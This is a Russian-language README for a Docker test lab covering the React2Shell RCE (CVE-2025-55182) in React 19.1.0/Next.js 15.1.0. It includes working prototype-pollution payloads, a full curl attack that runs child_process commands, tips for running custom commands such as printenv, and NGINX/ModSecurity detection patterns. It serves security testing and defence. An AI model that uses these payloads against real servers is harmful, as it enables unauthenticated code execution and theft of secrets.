fankh/cve-2025-55182-test-lab-windowsDocker-лаборатория для тестирования уязвимости CVE-2025-55182 (React2Shell) RCE в React 19.1.0/Next.js 15.1.0. Включает эксплойт-скрипты, тестирование обхода WAF с NGINX/ModSecurity и сравнение с исправленной версией для образовательных целей по безопасности.
⚠️ Предупреждение: Содержит реально работающую уязвимость удаленного выполнения кода (RCE).
Контейнерная тестовая среда для уязвимости CVE-2025-55182 (React2Shell).
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
Оценка CVSS: 10.0 (CRITICAL)
Влияние: удаленное выполнение кода (RCE)
Требование аутентификации: нет
Вектор атаки: сеть
$1:__proto__:then$B)child_process// Структура полезной нагрузки атаки
{
"then": "$1:__proto__:then", // Загрязнение Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Триггер десериализации Blob
"_response": {
"_prefix": "вредоносный_код", // Выполняемый код
"_formData": {
"get": "$1:constructor:constructor" // Доступ к конструктору функции
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Необходимо дождаться статуса healthy для всех контейнеров (занимает около 1-2 минут).
Windows (PowerShell):
# Способ 1: использование PowerShell-скрипта (рекомендуется)
.\tests\exploit-working.ps1
# Способ 2: прямой запуск Node.js
node tests\exploit-working.js
### Шаг 4: Проверка результатов
Результаты выполнения команд можно увидеть в логах сервера:
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ РекомендуетсяWindows:
# PowerShell-скрипт (рекомендуется)
.\tests\exploit-working.ps1
# Или прямой запуск Node.js
node tests\exploit-working.js
Выполняемые действия:
Тестируемые команды:
whoami - текущий пользователь (root)hostname - имя хоста контейнераpwd - рабочая директория (/app)id - полная информация о пользователеuname -a - информация о системеnode --version - версия Node.js# Создание файла с полезной нагрузкой
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Отправка атаки
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Проверка выполнения в логах
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Вы можете изменить скрипт атаки для выполнения нужных команд:
// В файле exploit-working.js:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Список директории приложения' },
{ name: 'env', cmd: 'printenv', desc: 'Вывод переменных окружения' }
]
| Порт | Сервис | Версия React | Назначение | Статус WAF |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | Уязвимый - тестирование CVE-2025-55182 | ❌ Без защиты |
| 3001 | patched-app | 19.1.2 | Безопасный - проверка исправления | ✅ Исправлен |
| 8080 | nginx → vulnerable | 19.1.0 | Тестирование WAF (NGINX) | ⚠️ Ограниченно (тело не проверяется) |
| 8081 | apache → vulnerable | 19.1.0 | Тестирование WAF (ModSecurity) | ⚠️ Ограниченно (ответ 405) |
| 8082 | nginx → patched | 19.1.2 | Тестирование двойной защиты | ✅ Исправлен |
# Запуск работающей атаки
node tests/exploit-working.js
# Ожидаемый результат: успешное выполнение команд
# Вывод: информация о пользователе, детали системы и т.д.
Windows (PowerShell):
# Использование PowerShell-скрипта
.\tests\exploit-working.ps1 -Port 3001
Ожидаемый результат: атака не удалась (React 19.1.2 блокирует атаку)
Windows (PowerShell):
# Попытка атаки через NGINX WAF
.\tests\exploit-working.ps1 -Port 8080
Ожидаемый результат: заблокировано правилами WAF
Расположение: nginx/nginx.conf
Шаблоны обнаружения:
__proto__, constructor:constructor$X:__proto__, $Bchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorДействие при блокировке:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Расположение: apache/modsecurity-rules.conf
Диапазон ID правил: 100001-100017
Основные правила:
__proto__